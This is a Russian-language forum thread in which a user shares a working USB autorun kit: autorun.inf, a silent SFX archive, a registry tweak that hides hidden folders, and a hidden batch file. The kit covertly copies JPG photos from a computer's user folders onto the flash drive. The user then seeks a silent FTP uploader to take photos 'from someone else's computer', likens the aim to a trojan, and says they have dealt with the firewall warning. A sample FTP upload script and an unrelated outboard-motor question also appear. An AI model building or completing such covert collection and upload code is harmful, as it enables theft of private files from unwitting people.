View Full Version : Cоедение c фтп через bat/cmd фаил
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?
Cмог сделать такую весь что бы зафигачивалось на флешку:
autorun.inf - запус foto_copy.exe
fotocopy.exe - SFX архив
Setup=REGEDIT /S file.reg - отключение показа скрытх папок :)
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1
vir.bat:
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:
cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s
exit
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?
Может и можно, но как-то сомнительно. Я бы использовал например python. Строчек в 10 кода уложиться наверное.
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?
А зачем его писать?
Все уже написано до нас:)))
http://www.example-code.com/python/pythonftp.asp
в частности
http://www.example-code.com/python/ftp_upload.asp
да и вот
http://www.dostips.com/DtCodeBatchFiles.php
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?
Cмог сделать такую весь что бы зафигачивалось на флешку:
autorun.inf - запус foto_copy.exe
fotocopy.exe - SFX архив
Setup=REGEDIT /S file.reg - отключение показа скрытх папок :)
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1
vir.bat:
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:
cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s
exit
А может просто wget для Windows взять?
Блин, то что с флешкой вариант нормальный не не катит для меня
нашёл программу File Uploader - Version 1.10 http://noeld.com
но эта зараза не копирует сабдиректории.
Повторю вопросс - Нужна программа для копирования на FTP файлов из определённых папок включая сабдиректории, и всё это не поодному файлу. Варинты - "тихое" копирование и без запросов паролей и тп
Да кстати, при этом должна работать перемменая %UserProfile%
Да кстати, при этом должна работать перемменая %UserProfile%
Я же уже кидал ссылку на скрипт, который файл закидывает на FTP
Осталось только дописать немножко.
И как его с компливировать (блин, не знаю как пишется правильно)
И как его с компливировать (блин, не знаю как пишется правильно)
никак не надо
надо поставить python виндовый и запустить
Твой фтп аплоад будет работать как -
# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"
Не знаеш ли??
к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке
Твой фтп аплоад будет работать как -
# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"
Не знаеш ли??
к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке
не будет
надо примерно так:
for file from files:
localFilename = "%userprofile%\desktop\"+file
remoteFilename = file
.........
надо документацию читать и писать самому
про переменные виндов ничего не знаю, но думаю их легко считать можно
погугли
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?
Почитал немного в нете про переменную эту. Вроде должно работать все.
Файлы по расширению можно фильтровать легко.
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну
Что конкретно надо? Если это нужно один раз, то смысла нет, проще руками сделать.
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами
Ничего не понял. Зачем троян? Можно нормально задачу поставить?
Для передачи файлов существуют два режима бинарный и текстовый. Скрипт должен знать что в каком передавать.
Картинки это какой режим?
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил
гы:))))
увольте:)
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....
И этож не троян - ты не влезаешь в комп, не тыришь пароли..... :))
Ужас...! Поставь себе CYGWIN (www.cygwin.com) и не парься с CMD, BAT и прочими наворотами от МикиSoft.
В CYGWIN глянь "ncftpget", "wget".
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....
На питоне такие вещи не делают:)
Делай в дельфи.
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл
А зачем диалоги-то? Простого консольного приложения достаточно.
а cygwin запускать без установки можно? То есть сохранить комманды + его испольнемый фаил?
Дык, в том смысле что не умею я это делать
Вот пример с коммандной строкой, всё классно только опят же проблемма с подкаталогами
bat:
ftp -s:script.txt
script.txt:
lcd \mylocalwebpages
open someftpserver.somedomain.org
myusername
mypassword
cd images
binary
mput *.jpg
mput *.png
bye
detektiv5055
07-08-2007, 17:33
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
Ну ,мужики,вы даёте!
В этом полный ЛОХ!
Но подскажите:
в моём Меркурий100 пропала искра на всех (4) цилиндрах.
Мне комутатор менят; или что ?
[russian.fi, 2002-2014]